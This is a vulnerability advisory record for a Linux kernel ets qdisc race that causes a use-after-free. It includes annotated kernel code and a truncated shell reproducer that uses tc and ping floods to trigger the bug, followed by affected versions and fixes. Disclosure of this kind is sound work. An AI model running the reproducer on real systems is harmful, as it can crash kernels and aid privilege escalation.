CVE-2025-71066

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Source
https://cve.org/CVERecord?id=CVE-2025-71066
Import Source
https://storage.googleapis.com/osv-test-cve-osv-conversion/osv-output/CVE-2025-71066.json
JSON Data
https://api.test.osv.dev/v1/vulns/CVE-2025-71066
Downstream
Related
Published
2026-01-13T15:31:21.931Z
Modified
2026-01-30T01:24:52.288090Z
Summary
net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change
Details

In the Linux kernel, the following vulnerability has been resolved:

net/sched: ets: Always remove class from active list before deleting in etsqdiscchange

zdi-disclosures@trendmicro.com says:

The vulnerability is a race condition between ets_qdisc_dequeue and ets_qdisc_change. It leads to UAF on struct Qdisc object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis.

Analysis:

static int etsqdiscchange(struct Qdisc *sch, struct nlattr *opt, struct netlinkextack *extack) { ...

  // (1) this lock is preventing .change handler (`ets_qdisc_change`)
  //to race with .dequeue handler (`ets_qdisc_dequeue`)
  sch_tree_lock(sch);

  for (i = nbands; i < oldbands; i++) {
          if (i >= q->nstrict && q->classes[i].qdisc->q.qlen)
                  list_del_init(&q->classes[i].alist);
          qdisc_purge_queue(q->classes[i].qdisc);
  }

  WRITE_ONCE(q->nbands, nbands);
  for (i = nstrict; i < q->nstrict; i++) {
          if (q->classes[i].qdisc->q.qlen) {
          // (2) the class is added to the q->active
                  list_add_tail(&q->classes[i].alist, &q->active);
                  q->classes[i].deficit = quanta[i];
          }
  }
  WRITE_ONCE(q->nstrict, nstrict);
  memcpy(q->prio2band, priomap, sizeof(priomap));

  for (i = 0; i < q->nbands; i++)
          WRITE_ONCE(q->classes[i].quantum, quanta[i]);

  for (i = oldbands; i < q->nbands; i++) {
          q->classes[i].qdisc = queues[i];
          if (q->classes[i].qdisc != &noop_qdisc)
                  qdisc_hash_add(q->classes[i].qdisc, true);
  }

  // (3) the qdisc is unlocked, now dequeue can be called in parallel
  // to the rest of .change handler
  sch_tree_unlock(sch);

  ets_offload_change(sch);
  for (i = q->nbands; i < oldbands; i++) {
      // (4) we're reducing the refcount for our class's qdisc and
      //  freeing it
          qdisc_put(q->classes[i].qdisc);
      // (5) If we call .dequeue between (4) and (5), we will have
      // a strong UAF and we can control RIP
          q->classes[i].qdisc = NULL;
          WRITE_ONCE(q->classes[i].quantum, 0);
          q->classes[i].deficit = 0;
          gnet_stats_basic_sync_init(&q->classes[i].bstats);
          memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats));
  }
  return 0;

}

Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc

Reproducer Steps (trimmed version of what was sent by zdi-disclosures@trendmicro.com)

``` DEV="${DEV:-lo}" ROOTHANDLE="${ROOTHANDLE:-1:}" BAND2HANDLE="${BAND2HANDLE:-20:}" # child under 1:2 PINGBYTES="${PINGBYTES:-48}" PINGCOUNT="${PINGCOUNT:-200000}" PINGDST="${PINGDST:-127.0.0.1}"

SLOWTBFRATE="${SLOWTBFRATE:-8bit}" SLOWTBFBURST="${SLOWTBFBURST:-100b}" SLOWTBFLAT="${SLOWTBFLAT:-1s}"

cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT

ip link set "$DEV" up

tc qdisc del dev "$DEV" root 2>/dev/null || true

tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2

tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2HANDLE" \ tbf rate "$SLOWTBFRATE" burst "$SLOWTBFBURST" latency "$SLOWTBF_LAT"

tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV

ping -I "$DEV" -f -c "$PINGCOUNT" -s "$PINGBYTES" -W 0.001 "$PING_DST" \

/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOTHANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOTHANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---

Database specific 
{
    "osv_generated_from": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/71xxx/CVE-2025-71066.json",
    "cna_assigner": "Linux"
}
References

Affected packages

Git / git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git

Affected ranges

Type
GIT
Repo
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git
Events
Introduced
ae2659d2c670252759ee9c823c4e039c0e05a6f2
Fixed
062d5d544e564473450d72e6af83077c2b2ff7c3
Type
GIT
Repo
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git
Events
Introduced
e25bdbc7e951ae5728fee1f4c09485df113d013c
Fixed
c7f6e7cc14df72b997258216e99d897d2df0dbbd
Type
GIT
Repo
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git
Events
Introduced
de6d25924c2a8c2988c6a385990cafbe742061bf
Fixed
a75d617a4ef08682f5cfaadc01d5141c87e019c9
Fixed
9987cda315c08f63a02423fa2f9a1f6602c861a0
Fixed
06bfb66a7c8b45e3fed01351a4b087410ae5ef39
Fixed
45466141da3c98a0c5fa88be0bc14b4b6a4bd75c
Fixed
ce052b9402e461a9aded599f5b47e76bc727f7de

Affected versions

v5.*
v5.10.100
v5.10.101
v5.10.102
v5.10.103
v5.10.104
v5.10.105
v5.10.106
v5.10.107
v5.10.108
v5.10.109
v5.10.110
v5.10.111
v5.10.112
v5.10.113
v5.10.114
v5.10.115
v5.10.116
v5.10.117
v5.10.118
v5.10.119
v5.10.120
v5.10.121
v5.10.122
v5.10.123
v5.10.124
v5.10.125
v5.10.126
v5.10.127
v5.10.128
v5.10.129
v5.10.130
v5.10.131
v5.10.132
v5.10.133
v5.10.134
v5.10.135
v5.10.136
v5.10.137
v5.10.138
v5.10.139
v5.10.140
v5.10.141
v5.10.142
v5.10.143
v5.10.144
v5.10.145
v5.10.146
v5.10.147
v5.10.148
v5.10.149
v5.10.150
v5.10.151
v5.10.152
v5.10.153
v5.10.154
v5.10.155
v5.10.156
v5.10.157
v5.10.158
v5.10.159
v5.10.160
v5.10.161
v5.10.162
v5.10.163
v5.10.164
v5.10.165
v5.10.166
v5.10.167
v5.10.168
v5.10.169
v5.10.170
v5.10.171
v5.10.172
v5.10.173
v5.10.174
v5.10.175
v5.10.176
v5.10.177
v5.10.178
v5.10.179
v5.10.180
v5.10.181
v5.10.182
v5.10.183
v5.10.184
v5.10.185
v5.10.186
v5.10.187
v5.10.188
v5.10.189
v5.10.190
v5.10.191
v5.10.192
v5.10.193
v5.10.194
v5.10.195
v5.10.196
v5.10.197
v5.10.198
v5.10.199
v5.10.200
v5.10.201
v5.10.202
v5.10.203
v5.10.204
v5.10.205
v5.10.206
v5.10.207
v5.10.208
v5.10.209
v5.10.210
v5.10.211
v5.10.212
v5.10.213
v5.10.214
v5.10.215
v5.10.216
v5.10.217
v5.10.218
v5.10.219
v5.10.220
v5.10.221
v5.10.222
v5.10.223
v5.10.224
v5.10.225
v5.10.226
v5.10.227
v5.10.228
v5.10.229
v5.10.230
v5.10.231
v5.10.232
v5.10.233
v5.10.234
v5.10.235
v5.10.236
v5.10.237
v5.10.238
v5.10.239
v5.10.240
v5.10.241
v5.10.242
v5.10.243
v5.10.244
v5.10.245
v5.10.246
v5.10.247
v5.10.83
v5.10.84
v5.10.85
v5.10.86
v5.10.87
v5.10.88
v5.10.89
v5.10.90
v5.10.91
v5.10.92
v5.10.93
v5.10.94
v5.10.95
v5.10.96
v5.10.97
v5.10.98
v5.10.99
v5.15.10
v5.15.100
v5.15.101
v5.15.102
v5.15.103
v5.15.104
v5.15.105
v5.15.106
v5.15.107
v5.15.108
v5.15.109
v5.15.11
v5.15.110
v5.15.111
v5.15.112
v5.15.113
v5.15.114
v5.15.115
v5.15.116
v5.15.117
v5.15.118
v5.15.119
v5.15.12
v5.15.120
v5.15.121
v5.15.122
v5.15.123
v5.15.124
v5.15.125
v5.15.126
v5.15.127
v5.15.128
v5.15.129
v5.15.13
v5.15.130
v5.15.131
v5.15.132
v5.15.133
v5.15.134
v5.15.135
v5.15.136
v5.15.137
v5.15.138
v5.15.139
v5.15.14
v5.15.140
v5.15.141
v5.15.142
v5.15.143
v5.15.144
v5.15.145
v5.15.146
v5.15.147
v5.15.148
v5.15.149
v5.15.15
v5.15.150
v5.15.151
v5.15.152
v5.15.153
v5.15.154
v5.15.155
v5.15.156
v5.15.157
v5.15.158
v5.15.159
v5.15.16
v5.15.160
v5.15.161
v5.15.162
v5.15.163
v5.15.164
v5.15.165
v5.15.166
v5.15.167
v5.15.168
v5.15.169
v5.15.17
v5.15.170
v5.15.171
v5.15.172
v5.15.173
v5.15.174
v5.15.175
v5.15.176
v5.15.177
v5.15.178
v5.15.179
v5.15.18
v5.15.180
v5.15.181
v5.15.182
v5.15.183
v5.15.184
v5.15.185
v5.15.186
v5.15.187
v5.15.188
v5.15.189
v5.15.19
v5.15.190
v5.15.191
v5.15.192
v5.15.193
v5.15.194
v5.15.195
v5.15.196
v5.15.197
v5.15.20
v5.15.21
v5.15.22
v5.15.23
v5.15.24
v5.15.25
v5.15.26
v5.15.27
v5.15.28
v5.15.29
v5.15.30
v5.15.31
v5.15.32
v5.15.33
v5.15.34
v5.15.35
v5.15.36
v5.15.37
v5.15.38
v5.15.39
v5.15.40
v5.15.41
v5.15.42
v5.15.43
v5.15.44
v5.15.45
v5.15.46
v5.15.47
v5.15.48
v5.15.49
v5.15.50
v5.15.51
v5.15.52
v5.15.53
v5.15.54
v5.15.55
v5.15.56
v5.15.57
v5.15.58
v5.15.59
v5.15.6
v5.15.60
v5.15.61
v5.15.62
v5.15.63
v5.15.64
v5.15.65
v5.15.66
v5.15.67
v5.15.68
v5.15.69
v5.15.7
v5.15.70
v5.15.71
v5.15.72
v5.15.73
v5.15.74
v5.15.75
v5.15.76
v5.15.77
v5.15.78
v5.15.79
v5.15.8
v5.15.80
v5.15.81
v5.15.82
v5.15.83
v5.15.84
v5.15.85
v5.15.86
v5.15.87
v5.15.88
v5.15.89
v5.15.9
v5.15.90
v5.15.91
v5.15.92
v5.15.93
v5.15.94
v5.15.95
v5.15.96
v5.15.97
v5.15.98
v5.15.99
v5.16
v5.16-rc2
v5.16-rc3
v5.16-rc4
v5.16-rc5
v5.16-rc6
v5.16-rc7
v5.16-rc8
v5.17
v5.17-rc1
v5.17-rc2
v5.17-rc3
v5.17-rc4
v5.17-rc5
v5.17-rc6
v5.17-rc7
v5.17-rc8
v5.18
v5.18-rc1
v5.18-rc2
v5.18-rc3
v5.18-rc4
v5.18-rc5
v5.18-rc6
v5.18-rc7
v5.19
v5.19-rc1
v5.19-rc2
v5.19-rc3
v5.19-rc4
v5.19-rc5
v5.19-rc6
v5.19-rc7
v5.19-rc8
v6.*
v6.0
v6.0-rc1
v6.0-rc2
v6.0-rc3
v6.0-rc4
v6.0-rc5
v6.0-rc6
v6.0-rc7
v6.1
v6.1-rc1
v6.1-rc2
v6.1-rc3
v6.1-rc4
v6.1-rc5
v6.1-rc6
v6.1-rc7
v6.1-rc8
v6.1.1
v6.1.10
v6.1.100
v6.1.101
v6.1.102
v6.1.103
v6.1.104
v6.1.105
v6.1.106
v6.1.107
v6.1.108
v6.1.109
v6.1.11
v6.1.110
v6.1.111
v6.1.112
v6.1.113
v6.1.114
v6.1.115
v6.1.116
v6.1.117
v6.1.118
v6.1.119
v6.1.12
v6.1.120
v6.1.121
v6.1.122
v6.1.123
v6.1.124
v6.1.125
v6.1.126
v6.1.127
v6.1.128
v6.1.129
v6.1.13
v6.1.130
v6.1.131
v6.1.132
v6.1.133
v6.1.134
v6.1.135
v6.1.136
v6.1.137
v6.1.138
v6.1.139
v6.1.14
v6.1.140
v6.1.141
v6.1.142
v6.1.143
v6.1.144
v6.1.145
v6.1.146
v6.1.147
v6.1.148
v6.1.149
v6.1.15
v6.1.150
v6.1.151
v6.1.152
v6.1.153
v6.1.154
v6.1.155
v6.1.156
v6.1.157
v6.1.158
v6.1.159
v6.1.16
v6.1.17
v6.1.18
v6.1.19
v6.1.2
v6.1.20
v6.1.21
v6.1.22
v6.1.23
v6.1.24
v6.1.25
v6.1.26
v6.1.27
v6.1.28
v6.1.29
v6.1.3
v6.1.30
v6.1.31
v6.1.32
v6.1.33
v6.1.34
v6.1.35
v6.1.36
v6.1.37
v6.1.38
v6.1.39
v6.1.4
v6.1.40
v6.1.41
v6.1.42
v6.1.43
v6.1.44
v6.1.45
v6.1.46
v6.1.47
v6.1.48
v6.1.49
v6.1.5
v6.1.50
v6.1.51
v6.1.52
v6.1.53
v6.1.54
v6.1.55
v6.1.56
v6.1.57
v6.1.58
v6.1.59
v6.1.6
v6.1.60
v6.1.61
v6.1.62
v6.1.63
v6.1.64
v6.1.65
v6.1.66
v6.1.67
v6.1.68
v6.1.69
v6.1.7
v6.1.70
v6.1.71
v6.1.72
v6.1.73
v6.1.74
v6.1.75
v6.1.76
v6.1.77
v6.1.78
v6.1.79
v6.1.8
v6.1.80
v6.1.81
v6.1.82
v6.1.83
v6.1.84
v6.1.85
v6.1.86
v6.1.87
v6.1.88
v6.1.89
v6.1.9
v6.1.90
v6.1.91
v6.1.92
v6.1.93
v6.1.94
v6.1.95
v6.1.96
v6.1.97
v6.1.98
v6.1.99
v6.10
v6.10-rc1
v6.10-rc2
v6.10-rc3
v6.10-rc4
v6.10-rc5
v6.10-rc6
v6.10-rc7
v6.11
v6.11-rc1
v6.11-rc2
v6.11-rc3
v6.11-rc4
v6.11-rc5
v6.11-rc6
v6.11-rc7
v6.12
v6.12-rc1
v6.12-rc2
v6.12-rc3
v6.12-rc4
v6.12-rc5
v6.12-rc6
v6.12-rc7
v6.12.1
v6.12.10
v6.12.11
v6.12.12
v6.12.13
v6.12.14
v6.12.15
v6.12.16
v6.12.17
v6.12.18
v6.12.19
v6.12.2
v6.12.20
v6.12.21
v6.12.22
v6.12.23
v6.12.24
v6.12.25
v6.12.26
v6.12.27
v6.12.28
v6.12.29
v6.12.3
v6.12.30
v6.12.31
v6.12.32
v6.12.33
v6.12.34
v6.12.35
v6.12.36
v6.12.37
v6.12.38
v6.12.39
v6.12.4
v6.12.40
v6.12.41
v6.12.42
v6.12.43
v6.12.44
v6.12.45
v6.12.46
v6.12.47
v6.12.48
v6.12.49
v6.12.5
v6.12.50
v6.12.51
v6.12.52
v6.12.53
v6.12.54
v6.12.55
v6.12.56
v6.12.57
v6.12.58
v6.12.59
v6.12.6
v6.12.60
v6.12.61
v6.12.62
v6.12.63
v6.12.7
v6.12.8
v6.12.9
v6.13
v6.13-rc1
v6.13-rc2
v6.13-rc3
v6.13-rc4
v6.13-rc5
v6.13-rc6
v6.13-rc7
v6.14
v6.14-rc1
v6.14-rc2
v6.14-rc3
v6.14-rc4
v6.14-rc5
v6.14-rc6
v6.14-rc7
v6.15
v6.15-rc1
v6.15-rc2
v6.15-rc3
v6.15-rc4
v6.15-rc5
v6.15-rc6
v6.15-rc7
v6.16
v6.16-rc1
v6.16-rc2
v6.16-rc3
v6.16-rc4
v6.16-rc5
v6.16-rc6
v6.16-rc7
v6.17
v6.17-rc1
v6.17-rc2
v6.17-rc3
v6.17-rc4
v6.17-rc5
v6.17-rc6
v6.17-rc7
v6.18
v6.18-rc1
v6.18-rc2
v6.18-rc3
v6.18-rc4
v6.18-rc5
v6.18-rc6
v6.18-rc7
v6.18.1
v6.18.2
v6.2
v6.2-rc1
v6.2-rc2
v6.2-rc3
v6.2-rc4
v6.2-rc5
v6.2-rc6
v6.2-rc7
v6.2-rc8
v6.3
v6.3-rc1
v6.3-rc2
v6.3-rc3
v6.3-rc4
v6.3-rc5
v6.3-rc6
v6.3-rc7
v6.4
v6.4-rc1
v6.4-rc2
v6.4-rc3
v6.4-rc4
v6.4-rc5
v6.4-rc6
v6.4-rc7
v6.5
v6.5-rc1
v6.5-rc2
v6.5-rc3
v6.5-rc4
v6.5-rc5
v6.5-rc6
v6.5-rc7
v6.6
v6.6-rc1
v6.6-rc2
v6.6-rc3
v6.6-rc4
v6.6-rc5
v6.6-rc6
v6.6-rc7
v6.6.1
v6.6.10
v6.6.100
v6.6.101
v6.6.102
v6.6.103
v6.6.104
v6.6.105
v6.6.106
v6.6.107
v6.6.108
v6.6.109
v6.6.11
v6.6.110
v6.6.111
v6.6.112
v6.6.113
v6.6.114
v6.6.115
v6.6.116
v6.6.117
v6.6.118
v6.6.119
v6.6.12
v6.6.13
v6.6.14
v6.6.15
v6.6.16
v6.6.17
v6.6.18
v6.6.19
v6.6.2
v6.6.20
v6.6.21
v6.6.22
v6.6.23
v6.6.24
v6.6.25
v6.6.26
v6.6.27
v6.6.28
v6.6.29
v6.6.3
v6.6.30
v6.6.31
v6.6.32
v6.6.33
v6.6.34
v6.6.35
v6.6.36
v6.6.37
v6.6.38
v6.6.39
v6.6.4
v6.6.40
v6.6.41
v6.6.42
v6.6.43
v6.6.44
v6.6.45
v6.6.46
v6.6.47
v6.6.48
v6.6.49
v6.6.5
v6.6.50
v6.6.51
v6.6.52
v6.6.53
v6.6.54
v6.6.55
v6.6.56
v6.6.57
v6.6.58
v6.6.59
v6.6.6
v6.6.60
v6.6.61
v6.6.62
v6.6.63
v6.6.64
v6.6.65
v6.6.66
v6.6.67
v6.6.68
v6.6.69
v6.6.7
v6.6.70
v6.6.71
v6.6.72
v6.6.73
v6.6.74
v6.6.75
v6.6.76
v6.6.77
v6.6.78
v6.6.79
v6.6.8
v6.6.80
v6.6.81
v6.6.82
v6.6.83
v6.6.84
v6.6.85
v6.6.86
v6.6.87
v6.6.88
v6.6.89
v6.6.9
v6.6.90
v6.6.91
v6.6.92
v6.6.93
v6.6.94
v6.6.95
v6.6.96
v6.6.97
v6.6.98
v6.6.99
v6.7
v6.7-rc1
v6.7-rc2
v6.7-rc3
v6.7-rc4
v6.7-rc5
v6.7-rc6
v6.7-rc7
v6.7-rc8
v6.8
v6.8-rc1
v6.8-rc2
v6.8-rc3
v6.8-rc4
v6.8-rc5
v6.8-rc6
v6.8-rc7
v6.9
v6.9-rc1
v6.9-rc2
v6.9-rc3
v6.9-rc4
v6.9-rc5
v6.9-rc6
v6.9-rc7

Database specific

source 
"https://storage.googleapis.com/osv-test-cve-osv-conversion/osv-output/CVE-2025-71066.json"

Linux / Kernel

Package

Name
Kernel

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
5.10.248
Type
ECOSYSTEM
Events
Introduced
5.11.0
Fixed
5.15.198
Type
ECOSYSTEM
Events
Introduced
5.16.0
Fixed
6.1.160
Fixed
6.6.120
Type
ECOSYSTEM
Events
Introduced
6.2.0
Fixed
6.12.64
Type
ECOSYSTEM
Events
Introduced
6.7.0
Fixed
6.18.3

Database specific

source 
"https://storage.googleapis.com/osv-test-cve-osv-conversion/osv-output/CVE-2025-71066.json"